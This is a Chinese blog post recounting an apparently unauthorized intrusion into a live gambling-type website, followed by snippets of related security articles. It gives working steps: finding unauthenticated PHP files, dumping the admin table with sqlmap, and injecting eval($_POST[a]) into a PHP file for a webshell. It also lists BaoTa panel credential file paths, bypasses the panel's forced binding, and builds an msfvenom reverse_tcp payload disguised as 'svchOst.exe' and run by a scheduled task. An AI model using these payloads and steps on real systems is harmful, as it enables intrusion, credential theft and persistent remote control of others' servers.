一次BC站点的GetShell过程

VSole2023-05-22 09:33:39

0x00 前言

bc实战代码审计拿下后台、数据库续这篇文章作者并没有成功GetShell,依稀记得以前遇到一个类似的站点,故打算再续前缘,最终成功拿下目标Shell权限

0x01 获取源码

首先先常规扫一波目录:

dirsearch -u 'http://x.x.x.x:80/' -e php

并没有发现有源码压缩包,故放弃这个思路,重新审视文章,获取关键字,去github进行搜索,成功找到部分源码,然后开始进行审计。


Github:

0x02 进入后台

通过之前的扫描,可以获取到后台登陆地址。

访问可以看到登陆页面。

没有验证么,果断上一波常规的弱口令FUZZ,无果。那么只能通过源码进行突破了,首先观察网站的后台鉴权逻辑主要是通过包含common/login_check.php进行判断。

@session_start(); //后台登陆验证
if(!isset($_SESSION["adminid"])){
    unset($_SESSION["adminid"]);
    unset($_SESSION["login_pwd"]);
    unset($_SESSION["quanxian"]);
    echo "alert('login!!pass');";
    exit;
}else{
    include_once("../../include/mysqlio.php");

那么最直接的思路,就是找到一个没有包含这个文件的地方。

find ./ -name "*.php" |xargs grep -L "login_check.php"

找到文件Get_Odds_1.php, 发现其中的$type参数直接拼接进SQL语句中,存在注入。

正常情况:

输入单引号,出错:

SQLMAP 跑出账号密码,,这里虽然是GET类型的SQL注入,但是直接使用sqlmap的-u参数是不行的,需要使用Burp抓包,保存数据包然后用-r参数。

 sqlmap -r sql.txt -D dsncly -T sys_admin --dump

0x03 GetShell

进入后台,先尝试黑盒,看看有没有上传功能,不过似乎没有找到可用的上传点。

黑盒没找到很明显的办法了,只能进行快速代码审计了,直接全局搜索危险函数eval、file_put_contens、fwrite、fputs等。

可以看到这里写入的文件是php文件,且内容可以通过ta_msg参数进行控制,也没有过滤,只有简单的去除两边的空格,这里务必要自己本地进行构造下,避免出现闭合失败的错误。

构造payload:

');eval($_POST[a]);var_dump(md5(1));//;

最终写入到文件gp_db.php

成功GetShell

0x04 宝塔提权

通过phpinfo,可以看到disable_function,同时通过nmap扫描端口,可知目标存在宝塔。

不过幸运的是,shell的权限还是蛮高的,可以浏览到宝塔的目录。

获取密码:D:/BtSoft1/panel/data/default.pl
开放端口:D:/BtSoft1/panel/data/port.pl
后台地址:D:/BtSoft1/panel/data/admin_path.pl
获取账号:D:/BtSoft1/panel/data/default.db

通过上面步骤获取到的账号和密码,登陆到后台http://xxxx:8888/Tajl2eP0/

登陆进去之后会弹出强制绑定窗口,可以通过直接访问/site来绕过这个。

下面有两种思路进行提权:

1) 通过软件管理->已安装,删除禁用函数,来实现命令执行。

2) 通过宝塔自带的计划任务。

MSF生成木马

msfvenom -p windows/meterpreter/reverse_tcp  -e x86/shikata_ga_nai -i 5  LHOST=x.x.x.x LPORT=10001 EXTENSIONS=stdapi,priv  -f exe > svchOst.exe

放到C盘即可,然后添加shell计划任务

ipconfig /all 查看网络状态

简单查看下arp -a和扫描下内网网段的存活情况,并没有连通,故没有继续后续的内网渗透测试。

0x05 总结

本文的渗透过程比较常规,涵盖了从0到1的完整单目标渗透过程,核心在于快速的代码审计能力,由于这个系统开发比较凌乱,所以故不能采用框架的方式去阅读,故采用危险函数定位是一种有效的方法,最后通过利用宝塔的信息,成功获取到最高的权限,完成渗透测试的目标。

sqlmapsession
本作品采用《CC 协议》,转载必须注明作者和本文链接
一些重要的SQLMap命令
2023-05-04 08:55:08
从扫描SQL注入漏洞到获取数据库名字、表和列,以及获得系统访问权限,其可被用于多种目的。我们必须给SQLMap提供有效的cookie才能对登录页面的POST请求进行扫描。不过别总是保持一个较高的值,因为可能会影响结果的准确性。默认情况下值为1,最高可以设置为3。值为3时,就是最大值,包含了一些严重的SQL查询。级别指定要执行的检查或payload的数量。
burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
0x01 前言最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。0x03 冰蝎的使用与流量分析冰蝎的使用我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为?这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。
vulnhub之CengBox的实践
2023-07-17 09:23:02
今天实践的是vulnhub的CengBox镜像,下载地址,https://download.vulnhub.com/cengbox/CengBox.ova,无法用workstation导入,用virtualbox导入成功,做地址扫描,sudo netdiscover -r 192.168.0.0/24,获取到靶机地址192.168.0.185,继续进行端口扫描,sudo nmap -sS -sV
0x00 前言bc实战代码审计拿下后台、数据库续这篇文章作者并没有成功GetShell,依稀记得以前遇到一个类似的站点,故打算再续前缘,最终成功拿下目标Shell权限0x01 获取源码首先先常规扫一波目录:dirsearch -u 'http://x.x.x.x:80/' -e php. 并没有发现有源码压缩包,故放弃这个思路,重新审视文章,获取关键字,去github进行搜索,成功找到部分源码,然后开始进行审计。Github:0x02 进入后台通过之前的扫描,可以获取到后台登陆地址。访问可以看到登陆页面。@session_start(); //后台登陆验证
一般信息查询框会和数据库存在交互。我输入数字1,会正常提示木查询到相关信息。那我们使用1’测试一下,发现不弹未查询到相关信息的提示框,也没有任何数据输出,大致判断这个点存在sql注入,并且不对输出报错信息。大概猜测出SQL语句为 :select * from A where id ='$_POST['id']';
在最近的CTF比赛中,综合靶场出现的次数越来越多,这种形式的靶场和真实的内网渗透很像,很贴合实际工作,但我们往往缺少多层网络的练习环境。本文通过VMware搭建3层网络,并通过msf进行内网渗透,涉及代理搭建,流量转发,端口映射等常见内网渗透技术。
基于Zabbix的漏洞复现
2022-06-21 14:45:36
STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
利用这个实验我们就可以更清晰的了解多层网络渗透测试的过程。并了解通过msf进行内网渗透,由一级代理到二级代理的搭建来进行对三层网络的渗透的过程。
VSole
网络安全专家